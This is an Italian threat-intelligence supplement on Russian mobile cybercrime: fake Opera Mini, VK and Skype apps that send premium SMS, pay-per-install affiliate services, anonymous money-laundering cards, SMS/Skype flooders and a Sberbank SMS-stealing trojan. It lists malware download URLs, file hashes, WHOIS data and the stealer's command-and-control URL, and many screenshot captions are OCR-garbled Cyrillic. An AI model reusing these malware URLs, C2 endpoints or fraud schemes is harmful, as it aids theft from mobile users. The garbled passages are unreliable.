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Introduzione

| servizi del crimine informatico “sommerso”

Esiste un prosperoso commercio “sommerso” nel mercato dei dispositivi mobili,
dove i criminali informatici adattano le tecniche sperimentate e collaudate, utilizzate
per violare i PC, cosi come un numero crescente di tecniche innovative, sviluppate
specificamente per l'area in rapida espansione dei dispositivi mobili.

I criminali informatici russi, noti per le loro competenze ed abilita tecnologiche, sono
stati pronti a sfruttare gli utenti mobili meno esperti o mal preparati e le
vulnerabilita, alcune delle quali sono peculiari per lo specifico dispositivo.

Questo supplemento estende il white paper intitolato “Mobile Threats and the
Underground Marketplace” (“Minacce nel mondo Mobile e il mercato unsderground”
nell’edizione italiana, NdR). Presenta le informazioni di base e ulteriori dettagli per le
problematiche analizzate. Esso non intende analizzare tutti gli exploit noti nel
mercato dei dispositivi mobili, ma fornisce un'istantanea di alcune delle tecniche
attualmente utilizzate dalle associazioni di criminali informatici di maggior successo,
soprattutto, in Europa orientale e nella Federazione Russa. In un mercato globale,
pero, alcuni exploit hanno la capacita di coinvolgere un pubblico pii ampio e
obiettivi piu grandi.
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Pay by Install - Mobile Browsers Falsi

Operatori poco scrupolosi lanciano attacchi mirati ad utenti mobili inconsapevoli
attraverso “agenti” o programmi di rivendita basati sul pagamento di una
commissione. Gli agenti possono essere consapevoli del reale scopo del programma,
ma tanti restano inconsapevoli, che & quello di installare codici malevoli che
indirizzano gli utenti verso web browser fasulli. Uno dei pitt popolari web browser
per dispositivi mobili nella Federazione Russa e stato di recente oggetto di diversi
attacchi eseguiti con successo.

1) Opera Mini

Una volta scaricato, il servizio distribuisce diverse varianti di malware (SMS illegali e
iscrizioni a contenuti mobili) su pagine che si riferiscono ad Opera Mini.

}
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Figura 1: Applicazione Opera-Mini falsa che distribuisce malware su traffico cellulare (WAP,
WEB)

Un esempio di questa operazione esiste su: SmsPurple.ru (94.75.199.211, AS16265 —
NL/Leaseweb B.v.)

domain:SMSPURPLE .RU
nserver:dnsl.yandex.net.
nserver:dns2.yandex.net.
state:REGISTERED,DELEGATED,UNVERIFIED
person:Private Person

registrar :NAUNET-REG-RIPN
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admin-contact:https://client._naunet.ru/c/whoiscontact
created:2011.12.02

paid-till:2013.12.02

free-date:2014.01.02

source:TCI

Recenti indagini hanno individuato circa 130 siti WEB che distribuiscono mobile
browser falsi e che utilizzando il marchio software Opera in zone con nomi di
dominio .RU e .COM.

Ne | Domain name VirusTotal analytics

1 http://opera- https://www.virustotal.com/file/7cecfba862
ltd.com/opera mini android do | 5f7a0f65edde293d5e2134204f6ba072cfdc61a
wnload-html - Android malware | 5:9ea307e4b77e7/analysis/1360329941/

2 http://opera- https://www.virustotal.com/file/443555ab3
ltd.com/opera mini ios downloa | 3050042bd6aal0318a4dfbe665abf1207eb68c
d.html - iOS malware 958478adf2c6d31b1/analysis/1360330172/

3 http://operamini-sonyericsson.ru/ | https://www.virustotal.com/file/e617b1501
- Nokia Symbian malware 07303116153a271e0£f16f81db1b0a06£f9009¢6

76a1769048d7497 /analysis/1350635477/

4 http://operaminis5230.ru/ - Nokia | https://www.virustotal.com/file/e617b1501
Symbian malware 07303116153a271e0£f16f81db1b0a06£f9009¢6

76a1769048d7497 /analysis/1350635477/

5 http://g-torrent.ru/Opera- https://www.virustotal.com/file/8d4b28776
12.00.exe - Windows Mobile | 53¢33141ec469b7842bf8675fd22912e68bebd
malware 017420f64ff69a028/analysis/1343897094/

6 http://apdat- https://www.virustotal.com/file/8ad495489
opera.ru/d.php?a=1&nb - Nokia | d1e2da878cbe863bcd453ae3a9880667a2679¢
Symbian malware 27c00dd2038f49d72/analysis/1338910414/

7 http://6-opera- https://www.virustotal.com/ru/file/b99fd34
mini.ru/d.php?a=1&nb - Nokia | 1f12ab56175ee83e04bcal7c3b198e49c605151
Symbian malware cc302cc81bf6bf935b/analvysis/1338905206/

8 http://1-opera.ru/d.php?a=1&nb - | https://www.virustotal.com/file/d7926b8ba
Nokia Symbian malware 1bd67cc121888284492e53d230£26£5686150d

3e2330405ccd5829d/analysis/1338904430/

9 http://www.operall- https://www.virustotal.com/file/d256513b9
download.ru/Opera-installer.exe - | 23e88833c4cd73ecc9690e372b24£24ba81fbe6
Windows Mobile malware 9284b866ff4c8773/analysis/1335621177/
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I cellulari Android sono oggetto di software con applicazioni di “accelerazione” false.

Bropan dBNADLaA 'y‘EI'IE!LLIHCIﬁ MOHETWZ2aLIMK TFJEI¢II-‘1 HUW3eTCA B CaMOM NMpUNoXxeHWe, KOTOpPOoE OTNP:
Mbl He N KONWpOBaTb YyXWe niew, Aa W BeCbMa yCTa LWKM Ha Halll B3rNA4 BoICNAOAAT MHOMME NpAnoxeH

Tak BoT, UTo NPegNarasTcA NOoC/e BArpy3Ki NMPUWIOKEHWA C neHguHra OperaMini:

1ICQ HacTpoiika BesonacHOCTH HacTpoiika BesonacHocTiH

bBonblWe cTpaHuL,
MEHbLUE OXMAAHNA @

bnaropapA cxaTuio MEM  AnarofgapA cXaTHIO L
AAHHBIX | AaHHbX

FIHTEIHET ELLE HWKOrLa He Bein
TakKK BRICTRRIM HA BALWEM
TenedoHe. CTREMUTENEHEA
OTRWMCOBKA CTPAHKL, 1M CHATME
JaHHBX HA CEPEEQE NO3BONAET

Apaysepy Opera 3arpywaTs

BEf0-CTRaHMUEI ropasao GucTRER

A yTAx ﬁpamepgg Takne [fpyHKLI,MVI, AECATYH MECTh OT Tpacpvn{a, AECATYH HacTh OT Tpat‘pHKa,

Kak a4pECHEA NaHENs, OfbMHO MCNONESYEMOTD A 0YTAR 0fbMHO MCOONESYEMOTD 1Y TIAR

KNABMATYRHAA HABMIALMA 1 Apay3epamu, CHUMAaR CToaHKUbl Ha  pay3epari, CHUMEA CTPaHMUBl Ha
3KPAHHOE YNP3ENEHKE 3KOHOMAT 90%. B cBOM 04epELE Opera 90%. B cBOW o4epedb Opera

041 BhIATI

Figura 2: Applicazioni di accelerazione false su Google Android

L'economia sommersa del crimine informatico prospera attraverso una vasta gamma
di applicazioni come illustrato negli esempi sopra riportati.

2) Applicazioni Social Network false

Le applicazioni Social network sono a rischio a causa del mobile malware. I criminali

informatici tendono a colpire applicazioni note al fine di massimizzare i profitti.

Ci sono diversi tipi di varianti di malware per dispositivi mobili che violano
applicazioni come Opera, Jimm, VK, Odn, Skype e Gaydating e possono essere
trovate in varie nazioni: Nigeria, Grecia, Finlandia, Romania, Canada, Danimarca,
Belgio, Australia, Kirghizistan, Polonia, Cile, Portogallo, USA, Vietnam, ed altri.

Un'applicazione falsa tipica mostra il progresso del download al 23% e dopo esegue
un pagamento al fornitore di servizi SMS.

Nella Federazione Russa il popolare sito web di appuntamenti Vkontakte.ru
(VK.com) e oggetto dell'attivita mostrata nei seguenti esempi:
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Hobpo noxanosaTb! HacTpoitka HacTpoiika

s
GaKC &{J;: Py4HaA HACTPORKA CaTA TpadMka Py4HaA HacTPoMKa CxaTkA Tpadimka
3npaBCTEYATE! MHTEDaKTMEHEIR
KNWMEHT Sex BrOHTaKTE
NPWBETCTEYET Bac! AnA
BETOMATIMHECKOA HACTPOMKA CHATHA
Thath1ka HaRMKUTE MPoA0NHUTE!

InA 33EEPWEHWA KMUTE nA 3aBEPWEHWA KMHUTE
'HacTpouTe! 'HacTpouTe'

IS EITERE [ 2| IR 21T

Cornacwtecs, Gonbluee AOBEpUE BbISLIBAET AKKYPaTHOCTb CaiTa, OMMCaHUE W TOUHO NogobpaHHbie MecTa AnA Bbl
K npuMepy, B NocnegHeM npunoxeHun "CekcBKOHTaKTE" NOCNE 2anycKa aBTOMaTUUECKU SarpyXaeTca nporpecc-
—_B ] ) MEeH ODOMCxn gona v._ ObHOMG KO- =

Figura 3: Applicazioni false di Social Networking per VK.com

Le applicazioni false connesse ai Social Network operano attraverso malware come
Java/SMSSend.AY o Trojan/J2ME.Agent.

3) Applicazioni Skype false

Le applicazioni mobili popolari sono oggetto dell'attivita dei criminali informatici. Le
applicazioni false connesse a Skype sfruttano utenti inconsapevoli spedendo costosi
SMS che incrementano con grosse somme i guadagni illeciti degli operatori.

La tabella seguente illustra gli esempi di malware che recentemente hanno sfruttato

l'applicazione Skype:
No | Domain name VirusTotal analytics
1 http://skype-three- https://www.virustotal.com/file/db379a9b5
os.com/skype-android- c6b69a7ce504d6e9fb32c91c3bc97a950838519
download.html -  Google | 592e9d3753e0c02d/analysis/1360336864/

Android malware

2 http://iskyper.ru/uploads/evae | https://www.virustotal.com/file/a3b175ecc0
r video recorder for skype 1. | 9£36f2dc675da53e6065f06571e5a7a3310c36ff
2.0.17.rar - Windows Mobile | f22eef4ec9df79/analysis/1360335469/
malware (evaer_video_recorder_for_skype_1.2.0.17.r
ar)

3 http://games-goo.ru/skype.exe | https://www.virustotal.com/file/b73e9bea8
- Windows Mobile malware bb4d238c679b35a684163e73bfc19f25fca2252
d005f16cd28931f2/analysis/1349255603/
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CravaTe Skype [Cain) gna MTC 1055

Figura 4: skype-three-os.com (IP: 91.208.16.14)
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Servizi in abbonamento

Nel mercato mobile sommerso nella Federazione Russa, il traffico malware viene
diffuso attraverso degli attori principali quali: ZipWap, Phoneconvert,
Stimulpremium, Load-Wap, Wizard-mobile, WapSyst. Alcuni di essi richiedono un
invito speciale per diventare un membro, per ragioni di sicurezza, poiche servizi
simili sono vietati a causa di abusi che possono verificarsi.

1) ZipWap.ru

Il sistema di monetizzazione principale di ZipWap.ru si realizza attraverso
un'installazione a pagamento, sia sul dispositivo mobile che sul web.

ZipWap.ru ha piu di 60 numeri speciali a pagamento per nazioni diverse, incluse
USA, Canada, UK ed altre.

ZipWap.ru: MOHETHZALMA BCero MoOWnbHoro Tpadgmka. bonee 60 cTpaH, mogynu, Android

t‘.‘-—" ZipWap.ru: moneTMzaunna ecerc mobanohore tpadmka. Bonee 60 crpan, mogynn, Android

ZipWap.ru: MoHeTUzaumMA Bcero MobunsHoro Tpaduka. bonee 60 cTtpad, Mmogynu, Android

[obpoiii aeHb. C panocTbio NpeACTaBNAeM BaM HOBOE PELIEHWE NO KoHBepTaumn BCEMO mobunbHoro Tpadwka - ZipWap.ru.

ZipWap.ru - napTHepCKas nporpaMmma, Nosso/AlLEan MakcrMasbHo NpecTo U 2(hGeKTMBHO MOHETH3MPoBaTbh MOGWIbHYIO a
MOMXETE MAKCUMAbHO NpUGbINBHO KOHBEPTUPOBATL CBOK AYAUTOPUMID H3 H3LWWX PeweHWax. Mol NMpeanaraeM caMblil LIMPOKWI B

Figura 5: ZipWap.ru

ZipWap.ru e uno dei pit vecchi servizi di crimine informatico per dispositivi mobili,
operativo sin dal 2011:
icq 603559347, zipwapru@gmail.com
domain:ZIPWAP._.RU
nserver:nsl.reg.ru.
nserver:ns2.reg.ru.
state:REGISTERED,DELEGATED,VERIFIED
person:Private Person
registrar :REGRU-REG-RIPN
admin-contact:http://www.reg.ru/whois/admin_contact
created:2011.05.29
paid-till:2013.05.29
free-date:2013.06.29
source:TCI

ZipWAP e uno dei servizi occulti piu sofisticato dal punto di vista tecnico — offre
DLE, Wordpress, integrazione uCoz, API personalizzate ed integrazione CMS per
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piattaforme Google Android e Nokia Symbian. Comunque, applicazioni fasulle sono
automaticamente generate come parte integrante del pacchetto installativo.

L'operatore richiede il pagamento per l'installazione del J2ME ed i suoi contenuti,
mentre rimane inconsapevole che 'applicazione e caricata con il malware che genera
le applicazioni fasulle.

H03ep xouer ckayath daitn

103ep craumeaer mugner
WONAAYMBALT JIOCTYN K KOHTEHTY

MNaptwep Gnokupyet gocTyn k aiiny ¢ Zipwa R Mapmiep goeonen, nonyyaer npubbing
nomoLtbio mignera ZipWap.ru 33 NPO/JANKY KOHTEHTa

Figura 6: ZipWap offre servizi tecnologici di alto livello modificate con applicazioni Android e
Symbian fasulle

- MuaneTbl C NOKanuzaLmne.

Boigawowmecs ApoMO MaTepUanbl

Mbl NOCTapanuch NpegyCcMOTPETh BCE BOZMOMHbBIE BAPWaHTLl CAMEA TpaduKa v Npeano:
TAKWE MHCTPYMEHTHI, K

- mugneTol I2ME »n H

OTNIHYHDBIE NIEHAWHIH No Onepe U APYIrHM TEMATHKaM;
.htaccess v javascript pegupexTsl;

yaobHulii mogyne DLE;

2 pazHbIx moagyna ana UCOZ;

APT;

cucTeMa ®ainosoro Nowcka;

M MHOTOe gpyroe.

YaobHaa cTaTUCTUKa

Figura 7: Android e un obiettivo

2) Load-WAP

Uno dei maggiori servizi occulti coinvolto nella distribuzione del malware e “Load-
WAP” con circa 1770 membri. Questo servizio ha come obiettivo le aree della Russia,
Bielorussa, Kazakistan, Armenia, Moldovia, Estonia, Lituania, Lettonia ed Israele.

Alcuni membri di ‘Load-WAP" guadagnano piu di $6,000 al giorno con la
distribuzione del malware, dimostrando un alto tasso di conversione:
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22.07.20Mm 16234 835 119 2922.09 p. 0.00 p. 4743723 p.
23.07.2011 11982 627 119 274636 p. 0.00 p. 32006.93 p.
24.07.201 10378 572 118 2969.34 p. 0.00 p. 30815.86 1.
25.07.201 18017 4493 118 2570.04 p. 0.00 p. 4630434 .
26.07.2011 7370 329 122 217571 p. 0.00p 160352.01 p.

Figuras 8: Load-WAP.com

Load-wap.com

1| © load-wap.com e
{ Apple iCloud Facebook Twitter Wikipedia Sunexc Yahoo! Hosoctn ¥ MonynapHsie ¥

A" = | load-wap.co...

IpOM3BEeHbI! lNpuseTcTEYEM!
11:35:03 Komaspga load-wap pafa npyBETCTEOBATE BAc M XOTUM NPennoMMTs BeIrogH
QA KoHBepTauuu MobuneHoro Tpadiuka

BLIMTE Bam, wto
3plUEHLl B NonHOM

1ATHDW paboTsl W KAK 2TO PABOTAET?

Bam aapabortkos!
TUA HOBOW BEpCWW

Figura 9: Load-WAP.com

Domain Name:LOAD-WAP .COM
Registration Date:08-Nov-2011
Expiration Date:08-Nov-2013
Status:LOCKED

Name Servers:
nsl1l6.dnsever.com
ns55.dnsever.com
ns86.dnsever.com

Registrant Contact Details:
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PrivacyProtect.org

Domain Admin( contact@privacyprotect.org )

1D#10760,P0O Box 16

Note - Visit PrivacyProtect.org to contact the domain
owner/operator

Nobby Beach

Queensland,QLD 4218

AU

Tel .+45.36946676

Load-WAP punta alle applicazioni di Google android e paga i suoi agenti fino
all'80% per installazione. Questo servizio offre anche applicazioni malware private
per iPhone ed iPad per membri VIP, ma non e piu pubblicata.

Load-Wap
OT3blBbl: 4 APHEb CRHAKK
R-‘fwﬂ"w DUNLTP OT3LIBOB | Cépocute |
¥ Co— A METOUHMKK
= 2012: 4 searchengines.ru 3 antichat.ru 1
0 Ao 05 O 415

[ TONbKO HEraTUBHLIE
S nomen c 2011.11.08  PR: 2

’—‘C o ToumiyTe Faaax: Pabotato c MMN,Bcé noka WAET rNagxe,CoBETYIO, yaauu pebar
MEHUTH fpm——

Corruptsouls: He 31l 4To 1 Kak, FNaBHOe YTO NNATAT BO BPEMA 1 BCEraa ASNalT AOCPOHKM TaK e pagyeT

McnonbayiTe Ha cooeM calite Haw KOHBEPT Ha HOBLIX NeHAWHrax
CHETUMK OT3bIBOR AN Load-Wap:

Jp-designs: nn peankHo KnaccHas, pebAT 3HaeM He NepBbiA rog - NoOM YECTHLIE W 3EKBaTHbIE CBOMX HE Korda
4oTaeea
He BpocaT! B obluem ryd NaK W HaWBLICIIKME PEKOMEeHAALIMK )

Koa cobinku: Belero: A cnuean umM I0S TpadMk Korpa oHKM Bbiny elle B NPUBATE, TaM YHUKANLHLIE NNATHHKK KMEHHO Nog
iPhone-+iPad, aganT ecrk, KOHBEPT HOPM. [1OTOM NEPeBen UM OCTaNLHOK CBOM Tpad, A CIMBalo Yepes TAC
napanensHo K HHM W elle B OOHY NapTHEPKY, HCNoNb3yKo cyTpy. Moka nosoneH BoeM.

1

src="http://zapili.net/zco
unter/341/" width="88" -

— Ha caiiT Load-Wap

Figura 10: Servizio privato VIP di Load-WAP per traffico Apple iOS
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- 5>]|E| & forum.searchengines.ru
&3 [T1 #E Apple iCloud Facebook Twitter Wikipedia Sugexc Yahool Hosoctw ¥ Monynsphele ¥ Me

T = = TR IE e WLy "§l

4| NepeiTi Kk HOBOMY

[ 16.01.2012, 16:58

|0ad wa p ih Load-Wap.com — MoHeruzauuna wap Tpaduka, koHpeprum I0S nocerurenei, J
Banned

Mpuser

PervcTpauma: 07.01.2012
Coobwenwid: 38

XOTMM 2HOHCMPOBATL 3aMNYCcK NapTHEPCKOW NporpamMmsl = load-wap.com
PenyTtaums: 9389

Peruvcrpauus
Moapo6Hee =

80% cTaHOapTHeIA pelT (NpH BLICOKMX obbeMax pedT ao 90%)
Pediepansckan cucTemMa - 5%

PaznuuHeIe CXeMbl aBTOPHIALMK

YOoGHEIR W @YHKUMOHANEHEIH KOHCTRYKTORD MMANETOB
MNpuBaTHLIE PELWEHHWA ANA NapTHEPOB

KoHeeptuM 10S-Tpaduk ( iphone,ipad..)

MNapkoBxa AOMEHOB

OpymenobHeld cannopT

* " e e

W mHoroe apyroe

Figura 11: Pagina speciale per clienti VIP iOS di Load-WAP

3) StimulPremium

WuBakTbl Stimulpremium

61C57A41
C2AABTT4
837CECCH1
DC931B96
2299BFEB
481121CA
4FF46244

01BABEA3

DO87CA10

7D2DBAG2

Figura 12: Inviti per la registrazione privata di Stimulpremium

Registration Service Provided By: DOMAIN NAMES REGISTRAR
REG.RU LTD.

Domain Name: STIMULPREMIUM.COM
Registration Date: 26-Apr-2011
Expiration Date: 26-Apr-2013
Status:LOCKED
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Name Servers:

nsl.reg.ru

ns2.reg.ru

Registrant Contact Details:

PrivacyProtect.org

Domain Admin( contactiZprivacyprotect.org )

ID#10760,P0O Box 16
Note — Visit PrivacyProtect.org to contact the domain

owner/operator
Nobby Beach
Queensland,QLD 4218
AU

Tel. +45.36946676

Figura 13: Dominio StimulPremium bloccato per webmaster VIP privati

4) Infrastrutture di supporto

I criminali informatici beneficiano del supporto di servizi finanziari “amici”. Alcuni
dei proventi generati dal malware sono incanalati attraverso Webmoney (WMR) o
con bonifici bancari attraverso EPESE. EPESE e un sistema per “pulire” il denaro in
modo anonimo per cui non & necessario possedere un conto corrente per trasferire
somme di denaro o ricevere proventi dai partner dei programmi occulti.

Servizi simili a EPESE sono affiliati ai famosi programmi tipo “pharma” come “RX-
Affiliate-Network” e sono molto noti in alcune comunita di webmaster per adulti.
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Altre possibilita di “monetizzare” somme illecite sono garantite da altri servizi quali
le carte speciali prepagate del servizio EPESE, che sono spedite anonimamente ai
membri.

Login

- Bxoa 5 cucTemy FPESEj i B renssrren

Password

3abbinu napons?

Fnasxan O cucreme PerncTpauna KonTakTei Cnpaska Norun

Pernctpauwra
XoTtute
CTaTb KMEHTOM? Cepauc EPESE - cvictema MHTEpHET-Pac4eTos.
ﬂ,ﬂﬂ TOro NTDGh:irr CTaTe Ha:;‘IJWMn KNUEHTOM Cm.rwa EmseomlBaeT n%ﬂu BaMH HOBble BOSMO)K]‘DCTH
DoraCToaUM ¥ vac Ha cafr, Toche aTord o MPHOBEHHbIX UHTEPHET-DACHETOR B PEXUME PEANBHOMD BPEMEHN.

NOMYMKTE NWCBMO OT HALETe NPEACTABMTENA M
CTAHETE  NOMHONPEBHLIM  NONb30BATENEM
CUCTEMbI.

MosBwnkchk BoNpocki? Ha Wux nogpoGHo w
CHOBBPEMBHHO  OTBBTWT  Kawa  cryxGa SHCKIHIMBHbIE OMOBOPEHHOCTA C Awxaynt 8 cuctese EPESE npefocTaansier
TIOARERKKA. OCHOBHLIMM NNATEKHLIMH CHCTEMAMM BOIMOKHOCTE BICTPO M GE30NACHO oMy AaTE
AN NOMYUeHUA BbINNAT. MNPOH3BOAKTE BLINNATLL, UTO NOMONET Nerue
W 3¢hcheKTMBHEE YTIPABNATE CEOWMMA 10X0aMM.

HoBocTu:
o pihoesin g GocrRETAOND S g Hawa cuctemMa No3BONSET:

OT koMnakuwu Epayments ucrekaet 01.02.2013.
Cnewwre 3akasate kapTy Gecnnatho!

23.11.2012 MNokynars 1 OCyUecTanNATE yaoGHbIe MNonyuars BLINAATLI Mpou3soauTe

B ' DéMBIIHDM cepauce EPESE Exchange npoaasaTs B3aMMOpacyeTbl C OT NAPTHEPCKHX onnary ycryr
EPESE E el .

3anyliena Bo3MOKHOCTb oBMena ¢ WMZ wa Tpacpuk BeG-MacTepamu nporpamm 33 XOCTUHI

kapTei Epayments

Figura 14: Carte prepagate spedite in modo anonimo

< | » | [2] [ 3 www.master-x.com orur

EPESE - cuctema gns yaobHbix u 6 P ToB! PacwmnpeHrHsli nouek no

Hoeas Tema
AsTOp CoobilyeHne

& Dmitry[EPESE] D floSasneno: 26/05/11 B 16:33 @) unrara
No6pblit aeHb,

mﬁ:‘e:::'%“ MHorue uz eac yxe W YCNEWHOo p c EPESE. ECTb TAKXe ¥ TaKue, KTO 8lle He YCnes HauyaTe COTPYAHWYECTBO C HaMM.

PeiiTir: 36 B AaHHOM pa3ene Mbl NOCTApanmcs coBpaTh BCIO OCHOBHYIO HHOPMaLMIO 0 paBoTe cucTems! EPESE, KOTOpas, Mbl HAeemcsi, NOMOXET BaM B
AaneHeiwek paGore. Takxe Mbl 6yAeM pansl NOGLIM BAWWM NPEANOXEHHAM W OT3bIBaM, TaK KAK OHW NOMOrYT HaM NOANEPNKHBATE BLICOKHA YPOBEHE
cepamca u GyayT BoBaTL cueTembl.

Wrak, cucrema EPESE npeactaenaeT coboi nnowaaky ana GLICTPLIX K 6 Mexay P “
NapTHEPCKMMM NPOrpaMmamy. TAIOKe C NOMOLLLIO HAWEH CHCTEMBI NP onnary m p
np Bce B cvcTeMe npr B 2BTOMaTHYECKOM pexnMe M EpeMeHH.

Ha fakHbiii MOMEHT B CUCTEME OCYLIECTBAITCA CAeayIolMe Brasl nnaTexed:
- Nprem 6aHKOBCKMX nepeeoaos B USD W EUR (komuccua 0%);
- npuem WebMoney-nepesoaos (Komuccusi 0%, BLINONHSIOTCH aBTOMaTHYECKHM);
- BHYTPEHHHE nnarexs ( );
= P 8 cuctemy ( 2%, as )i
- McxoasWuiA Gavkosckuit nepesoa B USD u EUR (komuccus 0.5% (min $30 win €20));
- MHKaCcCO YEKOB (CMEUMBIEHEIE BLIFOAHEIE YCNOBHA ANA YEKOB OT MOMYNAPHBIX KOMNSHHIA);
= neGeTosoil kapTel Pay MasterCard ( 1% (min $5), BLINDAHSETCS ABTOMATUMECKHM)
KapT Pay MasterCard, p (npw1 ycnoeuu ana )]

Tunbl aKKAYHTOB.

B cucteme EPESE np PeHo Asa TMNa «C3 W VI 5

Tun «C; yHTY cpa3y rocne per B cucreme. B, HbIX BKKAYHTOB HEAOETYNHBI TakME

onepauum, Kak 3aKa3 HoBOM KapTel Pay s MpHEM W ¥ MHKacCo YeKos.

Ans y «VIP- [ BCEX cepsuca D, ceo . Bns
nMuHeCTH UBETHBIE KOMMM rNaBHOM 3ar o

YOOCTOBEPEHHSA M CTPAHML BHYTPEHHErO NAcnopTa CTPaHel C YKBIAHWEM NMUHLIX ABHHbIX M BAPECA NOCTOAHHON PErHCTPaLMH.

Kaptel.

B chcreme EPESE MOXHO OCyWecTBNATL paboTy TONbKO C kapTamu Payoneer Prepaid MasterCard. B ana kapt Pay

The Choice Bank Ltd. CyTouHsIi nuMuT ans kapT Payoneer cocrasnsier $5000, M3 KoTopsix $2500 AOCTYNHbI A5 CHATMA B BaHkoMate W $2500 Ha
6e3HaNMYHbIE TPAH3AKUMM. CPEACTBa C KapT MOXHO CHWMaTL BO BCeX 6aHKOMaTax, 06C/YXMBAKWNX KapTL MasterCard, a Takxe WCNone308aTe ANA
onnatel ToBapoe M ycnyr s 6 cTaE TOUEK, «k onnate MasterCard.

Figura 15: Servizi di money laundering discussi su una comunita webmasters per adulti!

! http://www.master-x.com/forum/topics/151109/
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Malware per Mobile Banking

Il malware per mobile banking & disponibile in una varieta di applicazioni. Il
malware che cambia la destinazione dei fondi e quello che comporta il pericolo
potenziale maggiore sia per gli utenti che per le istituzioni finanziarie. Man mano che
il mobile banking e diventato popolare e disponibile ad ogni cliente delle banche,
questi tipi di attacco sono aumentati.

Uno dei Trojans piut conosciuti ad oggi, colpisce Android e Blackberry; ZitMo —
“Zeus in the Mobile” e limitato principalmente alle nazioni europee, nonostante sia
responsabile per il furto di milioni di euro.

I sistema OTP (One Time Password) puo essere intercettato. Il furto di SMS e dei
codici MTAN precede il trasferimento illecito di denaro; il malware nasconde la
notifica dei messaggi in arrivo dando ai criminali informatici il tempo per eseguire il
trasferimento e confermare la transazione attraverso lI'account on-line compromesso.

Un altro malware popolare blocca le chiamate in arrivo dal call-center della banca.
Questo fa in modo che il money-mule possa chiamare la banca al posto del cliente e
confermare i dettagli dell'operazione.

Altri tipi di malware per dispositivi mobili sono esaminati piti nel dettaglio:

1) Flooders (Skype, ICQ SMS)

I cirminali informatici usano tool speciali come gli Skype Flooders e gli ICQ SMS
flooders che sono anche utili per gli attacchi “smishing”.

Spay.exe [ 1€Q sms flooder
YuactHuk dopyma

Perucrpauma: 16.04.2010 ICQ sms flooder
CooBujenun: 254

n 3

2 mnﬁyne MNMporpamma-tnyaep moSuneHoro TenedgoHa nocpea

PenyTaunn: 10

e

\ 2o Jflooder
Homep:

<] 7961

®ann "ICQ;napone™
"CADELPHI(syncICQ SMS Flooderilist tet” ﬂ

Tekcr
B (Htsme ,1cQ)y

npuBeT 13 aga

NoTokos: CraTncTika:

Homepos:

bez CMC:

e e
) o

MoAAepXMBAIOTCA TONBKO HOMEpa
OawH Homep ICQ NO3BONAET OTNPaBMTL: 5 CMC.
TekcT aboHEHTY NPUXOAMT B Buae

Figura 16: Esempio di SMS flooder che utilizza ICQ per SMS sviluppato da Spay.exe
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5] skype Flooder ICQ:605-113 Y A @

Interval (ms) |250 | (Statuscolor) [ Stop )

I\.. Time to status .Jl l\' Stop )

PerwcTpauyna: 07.05.2010

PenyTauma : wl

CoobGwenwin: 4

{ Sendto '_} |ech-:|123 | ( Sendtoal ._)

( CalFlood ) |-7345679462 | ( Stop

http://www.sendspace.com/fl

Figura 17: Skype Flooder in MS-DOS 3.0 (kod.cc)

Durante l'operazione “Bliezkrig”, i criminali informatici russi hanno utilizzato
programmi modificati ad-hoc per gestire il flooding delle chiamate utilizzando Skype
VOIP. Il programma utilizzava chiamate voce pre-registrate?.

2 http://blogs.rsa.com/cyber-gang-seeks-botmasters-to-wage-massive-wave-of-trojan-attacks-
against-u-s-banks/
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How to Flood Telephones - Service from vorVzakone_(360p).flv

Figura 18: Courtesy of YouTube’

How to Flood Telephones - Service from vorVzakone_(360p).flv

Figura 19: Criminali informatici “VorVZakone”, Russian carders - Courtesy of YouTube*

Alla stessa maniera, le botnet di tipo Skype-flooding possono essere organizzate da
sistemi infetti. Il malware verifica prima di tutto il saldo della vittima, dopo fa
diverse chiamate alla vittima.

A volte queste tecniche sono combinate con la tecnica del ‘Caller-ID” spoofing per
eseguire il phishing o con tool che superano le misure di protezione.

3 http://www.youtube.com/watch?v=FRswkzFQtxc
¢ http://www.youtube.com/watch?v=qzHg9fr871Y
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2) SMS Stealers

Nel 2012 le vulnerabilita in Google Play sono state rese note da analisti russi.

Il malware ha attaccato la principale banca russa, Sberbank, creando caos tra i suoi
clienti mobili e ottenendo milioni in fondi illeciti. Il malware, parte del pacchetto di
Android, e stato chiamato “sber.apk” e consisteva in 225,905 bytes ed ha collegato
I'md5 hash: F27D43DFEEDFFAC2EC7E4A069B3C9516°.

Successive analisi hanno portato a classificare il malware come “SMSStealer. APK” ed
identificarlo come progettato per infettare i device Android. Il primo passaggio
consiste nel decomprire gli archivi, per poi convertire in file con nome “classes.dex”
in file in formato “Jar”. Usando un “Java Decompiler” i file possono essere convertiti
come richiesto.

w . META-INF Manka c gainamm
o res Manka c gainamm
di| AndroidManifest.x... 5KB  Oowkyment XML
g | classes.dex 400 KB @awn "DEX"

f | FESOUrCES.arsc 17 KB @ain "ARSC"

Figura 20: Conversione file di ‘'SMSStealer.apk’

Il malware mostra un'interfaccia molto simile all'originale sull'apparato che richiede
l'autorizzazione dall'utente attraverso una verifica del numero di telefono.

5 Ml & 10:53 5w
Phone number verification

Eseaunre Homep TenedoHa:

8

Do authorization J

&

CBbEPBAHK

Bceraa praom

Figura 21: L'interfaccia del malware del Mobile banking per la banca russa ”Sberbank”

Quando il numero di telefono viene inserito e viene cliccato il tasto «Do
authorization», l'applicazione invia le informazioni sul sistema ad un server remoto
con URL “http://berstaska.com/m/fo125kepro”. Questi dati contengono il numero di

5 Group-IB Forensics Lab: http://www.group-ib.com/
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telefono del dispositivo, il nome e la versione del sistema operativo, il nome del
fornitore di servizi, il codice nazione ed altre informazioni personali.

E' interessante notare che i domini utilizzati per raccogliere i dati “berstaska.com” e
“lekerdeka.com” sono ben noti agli esperti di sicurezza; sono stati utilizzati in
passato in relazione al caso malware ‘Carberp’.

I domini in maggiore dettaglio:

Domain Name: BERSTASKA.COM

Registrant: N/Amerab mekokayan

(gooddoctor222289@yahoo . com)

sk 8 box18 NY, 334777 US

Tel. +1.3049583484

Creation Date: 26-0Oct-2012

Expiration Date: 26-0Oct-2013

Domain servers in listed order:dcl.nserver._rudc2.nserver.ru

Domain Name: LEKERDEKA.COM

Registrant: N/ASergey Bezumov

(gooddoctor222299@yahoo . com)

PU BOX 81 1 92 NY ,325236 US

Tel. +1.33873847374

Creation Date: 26-0Oct-2012

Expiration Date: 26-0Oct-2013

Domain servers in listed order:dcl.nserver.rudc2.nserver.ru

Entrambi i domini sono connessi agli NS-server “nserver.ru” e registrati
anonimamente. Sia il database MalwareURL® che il Group-IB Bot-Trek™7 hanno
confermato piu di venti Carberp C&C connessi attraverso il DNS di questo
operatore.

Al tempo dello studio l'indirizzo di rete “berstaska.com” non era disponibile.

6 http://www.malwareurl.com/
7 http://www.group-ib.com/index.php/investigation/44-link-bot-trek
